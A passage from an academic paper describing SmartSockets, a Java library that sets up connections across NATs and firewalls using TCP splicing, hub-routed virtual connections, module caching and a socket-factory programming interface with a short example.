Section2.2,most NAT implementations translate the address and port number of outgoing connec-tions.TCP splicing requires both machines to know each other’s exact external address and port number.Although the external address of a NAT site is often constant,the port mapping is hard to determine,since a different port may be used for every connection attempt.Fortunately,most NAT implementations use a predictable port mapping scheme[19].Therefore,once a single mapping has been determined,a prediction can be made on the range of port numbers that is likely to be used in the immediate future.By using the external address and port range in the connection setup attempts,TCP splicing can still be used. To obtain an initial mapping,the assistance of an external machine(outside of the NAT)is required.SmartSockets uses the hubs for this purpose.If the source machine is behind a NAT,it will request a list of available hubs from its local hub,and attempt tofind an external hub to which it can connect directly.When such a connection is successful, the external hub echoes the source address and port number to the source machine.If this address is public,it is likely to be the external address of the NAT site,and the address and port are included in the request sent to the target.Thetarget will use the same approach if it is behind a NAT,and return its external address and port number to the source. Both machines will now repeatedly perform connection attempts using the external address of the other site and trying all port numbers in the predicted range.Currently, SmartSockets uses a range of[port...port+5].It is obvious that there are many cases where the splicing module will not be able to set up a connection.For example, a machine may be unable tofind its external address,the external address may be wrong(e.g.,in case of multiple consecutive NATs),the port range prediction may be wrong, or the connection attempts may not succeed in time.As shown in[19],the maximum success rate is approximately 86%.Fortunately,there is a backup solution,the routed connections module explained below.Routed.The last module available is the routed connection mod-ule.Provided that there is at least a spanning tree connect-ing the hubs,this module should always be able to create a connection between two machines,even if these machines are only connected to non-routed networks.Whenever a connection is created using the routed con-nection module,the source sends a connection request to its local hub using the side channel,containing the target ad-dress and port.The hub will add this virtual connection in its administration and forward the request to the next hub using the routing table described in Section3.3.1.When the request reaches the target machine,it will make sure that the destination port exists and queue the request.Once the connection is accepted by the application,a re-ply is sent back via the hubs,and the virtual connection is established.Both machines now return a virtual socket, which,instead of sending its data directly to the target ma-chine,forwards all data through a series of hubs.3.3.4Module Order and CachingTo create a new connection,each module is tried until a connection is established,or until it is clear that a connec-tion can not be established at all(e.g.,because the destina-tion port does not exist on the target machine).By default, the order Direct,Reverse,Splice,Routed is used.This order prefers modules that produce a direct connection.When a connection is established,the time required for subsequent connection setups can be reduced by caching which module was successful.This information is cached based on the hub address of the target,and not its machine address(see Section3.3.2).Caching in this way allows an entire site to be represented using a single cache entry(since machines in a site typically share the same hub).Not only does this save memory,but it also improves the effectiveness of the cache.After a connection is created to a single ma-chine of a site,all other connection setups to the same site benefit from the cached information.In Section4we will show the benefits of this approach.3.4Programming InterfaceWe will now give a short description of the programming interface of the virtual connection layer of SmartSockets, which is currently implemented using Java[2].Converting an application to SmartSockets is relatively straightforward, provided that the application uses a Factory Pattern[16] to create sockets.The package of the Java class libraries contains interfaces for two such factories,one to create Sockets(outgoing connections),the other to create ServerSockets(incoming connections).Java also offers im-plementations which create regular or secure sockets(SSL). SmartSockets extends the Socket and ServerSocket imple-mentations of Java,and offers two factories which adhere to the interfaces described above.This allows SmartSockets to be plugged in to existing applications by simply changing the factory implementations that are used. Unfortunately,the addressing scheme used in connection setup cannot be replaced this easily.Currently,Java used three forms of addressing.Thefirst is based on an InetAd-dress,which is hard coded to be either an IPv4or IPv6 address and cannot be extended.When this scheme is used, SmartSockets has no other choice then to attempt a direct connection to the given address.None of the other connec-tion setup schemes can be used due to a lack of information. The second addressing scheme is moreflexible.It is based on a SocketAddress interface,which is implemented by a VirtualSocketAddress in SmartSockets.Unfortunately,be-cause Java does not not offer a factory to create these Sock-etAddresses,most applications explicitly use InetSocketAd-dresses,which consists of a InetAddress and a port num-ber.To make full use of SmartSockets,it is necessary to replace these with a VirtualSocketAddress.For this pur-pose,SmartSockets offers a SocketAddressFactory,that can be used to create both VirtualSocketAddress and InetSocke-tAddress objects.As with thefirst scheme,SmartSockets is also backward compatible with InetSocketAddress,although this may restrict the connectivity.The third scheme simply uses a String as a machine ad-dress.Although this string is originally intended to contain a host name,it can just as easily be used to carry a string representation of a virtual address.Therefore this mecha-nism can be used by SmartSockets without any code modifi-cation.As with the previous schemes,the connectivity may be restricted when the information in the string is limited. class Example{SocketFactory createFactory(String type){if(type.equals("plain"))return SocketFactory.getDefault();if(type.equals("SSL"))return SSLSocketFactory.getDefault();if(type.equals("SmartSockets"))return SmartSocketFactory.getDefault();//else print error}void run(String type,String address){SocketFactory f=createFactory(type);SocketAddressFactory a=new SocketAddressFactory();Socket s=f.createSocket().s.connect(a.createSocketAddress(address));//we can now use the socket.}}Figure1:Example ApplicationIn Figure1,an example is shown that is can make use of regular sockets,SSL,or SmartSockets.By varying the type parameter of run,a different socket factory can be selected. Using the SocketAddresFactory provided by SmartSockets (explained above),the target machine address can be trans-lated to a SocketAddress in a portable manner,and used for connection setup.。